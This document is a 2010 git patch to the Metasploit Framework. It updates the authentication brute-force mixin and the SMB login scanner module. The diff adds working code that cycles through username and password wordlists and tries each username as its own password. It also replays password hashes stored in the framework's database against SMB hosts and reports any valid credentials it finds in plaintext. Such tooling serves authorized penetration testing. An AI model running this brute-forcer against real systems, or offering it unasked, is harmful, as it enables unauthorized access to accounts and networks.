From 54095a585e5afbb3f1e76998b40d64e787e5962e Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 14 Jan 2010 16:58:43 +0000 Subject: [PATCH] update the auth bruteforcer, and use it in smb/login git-svn-id: file:///home/svn/framework3/trunk@8116 4d416f70-5f16-0410-b530-b9f4589650da --- lib/msf/core/auxiliary/auth_brute.rb | 151 +++++++++++++++++-------- modules/auxiliary/scanner/smb/login.rb | 94 ++++++++++++--- 2 files changed, 183 insertions(+), 62 deletions(-) diff --git a/lib/msf/core/auxiliary/auth_brute.rb b/lib/msf/core/auxiliary/auth_brute.rb index c8c7dc70bc..e72b444a30 100644 --- a/lib/msf/core/auxiliary/auth_brute.rb +++ b/lib/msf/core/auxiliary/auth_brute.rb @@ -12,8 +12,8 @@ def initialize(info = {}) super register_options([ - OptPath.new('USERNAMES_FILE', [ false, "File containing usernames, one per line" ]), - OptPath.new('PASSWORDS_FILE', [ false, "File containing passwords, one per line" ]), + OptPath.new('USER_FILE', [ false, "File containing usernames, one per line" ]), + OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line" ]), OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line" ]) ], Auxiliary::AuthBrute) @@ -22,60 +22,119 @@ def initialize(info = {}) end - +# +# Calls the given block with usernames and passwords generated in the following way, in order: +# * the module's next_user_pass(), if any +# * contents of USERPASS_FILE, if any +# * the module's next_user() combined with next_pass() and the contents of PASS_FILE +# * contents of USER_FILE combined with the module's next_pass() and the contents of PASS_FILE +# +# After any invocation, the block may return +# :next_user +# to indicate that the current user needs no further processing and +# brute forcing should continue with the next username or +# :done +# to indicate that brute forcing should end completely. +# +# Generator methods (next_pass, and next_user_pass) must reset their state +# whenever they reach the end. +# def each_user_pass(&block) - #$stdout.puts("Running through users and passwords") - if framework.db.active - #$stdout.puts("Using db auth info") - framework.db.get_auth_info.each { |auth_info| - next if not auth_info.kind_of? Hash - next if not auth_info.has_key? :user - next if not auth_info.has_key? :pass - block.call(auth_info[:user], auth_info[:pass]) - } - end - - #$stdout.puts("Getting userpass") - while next_userpass - #$stdout.puts("calling block with #{@user} : #{@pass}") - block.call(@user, @pass) - end - - while next_user - #$stdout.puts("Getting user") - while next_pass - #$stdout.puts("calling block with #{@user} : #{@pass}") - ret = block.call(@user, @pass) - case ret - when :next_user; break + # First, loop through sets of user/pass combinations + [ "next_user_pass", "_next_user_pass" ].each { |userpass_meth| + next if not self.respond_to?(userpass_meth) + @state = {} + @state[:status] = nil + while (upass = self.send(userpass_meth, @state)) + @state[:status] = block.call(upass[0], upass[1]) + case @state[:status] + # Let the generate method deal with :next_user + when :done; return end end + } + + # Then combinatorically examine all of the separate usernames and passwords + each_user { |user| + # Always try the username as the password + status = block.call(user, user) + case status + when :next_user; next + when :done; return + end + each_pass(user) { |pass| + status = block.call(user, pass) + case status + when :next_user; break + when :done; return + end + } + } + +end + +def each_user(&block) + state = {} + if self.respond_to? "next_user" + while user = next_user(state) + yield user + end + end + while user = _next_user(state) + yield user + end +end + +def each_pass(user=nil, &block) + state = {:user => user} + if self.respond_to? "next_pass" + while pass = next_pass(state) + yield pass + end + end + while pass = _next_pass(state) + yield pass end end protected -def next_user - return nil if not datastore["USERNAMES_FILE"] - @user_fd ||= File.open(datastore["USERNAMES_FILE"], "r") - return nil if @user_fd.eof? - @user = @user_fd.readline - true +def _next_user(state) + return nil if not datastore["USER_FILE"] + state[:user_fd] ||= File.open(datastore["USER_FILE"], "r") + if state[:user_fd].eof? + state[:user_fd].close + state[:user_fd] = nil + return nil + end + state[:user] = state[:user_fd].readline.strip + return state[:user] end -def next_pass - return nil if not datastore["PASSWORDS_FILE"] - @user_fd ||= File.open(datastore["PASSWORDS_FILE"], "r") - return nil if @pass_fd.eof? - @pass = @pass_fd.readline - true +def _next_pass(state) + return nil if not datastore["PASS_FILE"] + state[:pass_fd] ||= File.open(datastore["PASS_FILE"], "r") + if state[:pass_fd].eof? + state[:pass_fd].close + state[:pass_fd] = nil + return nil + end + state[:pass] = state[:pass_fd].readline.strip + return state[:pass] end -def next_userpass +def _next_user_pass(state) return if not datastore["USERPASS_FILE"] - @userpass_fd ||= File.open(datastore["USERPASS_FILE"], "r") - return nil if @userpass_fd.eof? - line = @userpass_fd.readline - @user, @pass = line.split(/\s+/, 2) - @pass = "" if @pass.nil? - true + # Reopen the file each time so that we pick up any changes + state[:userpass_fd] ||= File.open(datastore["USERPASS_FILE"], "r") + if state[:userpass_fd].eof? + state[:userpass_fd].close + state[:userpass_fd] = nil + return nil + end + line = state[:userpass_fd].readline + state[:user], state[:pass] = line.split(/\s+/, 2) + state[:pass] = "" if state[:pass].nil? + state[:user].strip! + state[:pass].strip! + return [ state[:user], state[:pass] ] end diff --git a/modules/auxiliary/scanner/smb/login.rb b/modules/auxiliary/scanner/smb/login.rb index 8f379923c3..e5a231120c 100644 --- a/modules/auxiliary/scanner/smb/login.rb +++ b/modules/auxiliary/scanner/smb/login.rb @@ -20,7 +20,11 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::SMB include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + def proto + 'smb' + end def initialize super( @@ -36,44 +40,102 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE ) deregister_options('RHOST') + + # These are normally advanced options, but for this module they have a + # more active role, so make them regular options. register_options( [ - OptString.new('SMBPass', [ false, "SMB Password", '']), - OptString.new('SMBUser', [ false, "SMB Username", 'Administrator']), + OptString.new('SMBPass', [ false, "SMB Password" ]), + OptString.new('SMBUser', [ false, "SMB Username" ]), OptString.new('SMBDomain', [ false, "SMB Domain", 'WORKGROUP']), ], self.class) + + @passes = [ '' ] + end def run_host(ip) + print_status("Starting host #{ip}") + if (datastore["SMBUser"] and not datastore["SMBUser"].empty?) + # then just do this user/pass + try_user_pass(datastore["SMBUser"], datastore["SMBPass"]) + else + begin + # Add the hosts smb name as a password to try + connect + smb_fingerprint + @passes.push(simple.client.default_name) if simple.client.default_name + disconnect + each_user_pass { |user, pass| + try_user_pass(user, pass) + } + rescue ::Rex::ConnectionError + nil + end + end + end + + def try_user_pass(user, pass) + datastore["SMBUser"] = user + datastore["SMBPass"] = pass + #$stdout.puts("#{user} : #{pass}") + + # Connection problems are dealt with at a higher level connect() - + begin smb_login() - rescue Rex::Proto::SMB::Exceptions::LoginError => e - if(e.error_code) - print_status("#{ip} - FAILED #{ "0x%.8x" % e.error_code } - #{e.error_reason}") - else - print_status("#{ip} - FAILED #{e}") - end + rescue ::Rex::Proto::SMB::Exceptions::LoginError => e return end if(simple.client.auth_user) - print_status("#{ip} - SUCCESSFUL LOGIN (#{smb_peer_os})") + print_good("#{rhost} - SUCCESSFUL LOGIN (#{smb_peer_os}) #{user} : #{pass}") report_auth_info( - :host => ip, - :proto => 'SMB', - :user => datastore['SMBUser'], - :pass => datastore['SMBPass'], - :targ_host => ip, + :host => rhost, + :proto => 'smb', + :user => user, + :pass => pass, + :targ_host => rhost, :targ_port => datastore['RPORT'] ) else - print_status("#{ip} - GUEST LOGIN (#{smb_peer_os})") + print_status("#{rhost} - GUEST LOGIN (#{smb_peer_os}) #{user} : #{pass}") end disconnect() + return :next_user end + + def next_user_pass(state) + return nil if state[:status] == :done + if (not state[:auth_info]) + state[:auth_info] = framework.db.get_auth_info(:proto => 'smb') + return nil if not state[:auth_info] + state[:auth_info].delete_if { |a| not a.kind_of? Hash } + state[:auth_info].delete_if { |a| not a.has_key? :user or not a.has_key? :hash } + state[:idx] = 0 + end + if state[:auth_info][state[:idx]] + user = state[:auth_info][state[:idx]][:user] + pass = state[:auth_info][state[:idx]][:hash] + state[:idx] += 1 + return [ user, pass ] + end + return nil + end + + def next_pass(state) + return nil if state[:status] == :done + return nil if state[:status] == :next_user + if not state[:idx] + state[:idx] = 0 + end + pass = @passes[state[:idx]] + state[:idx] += 1 + return pass + end + end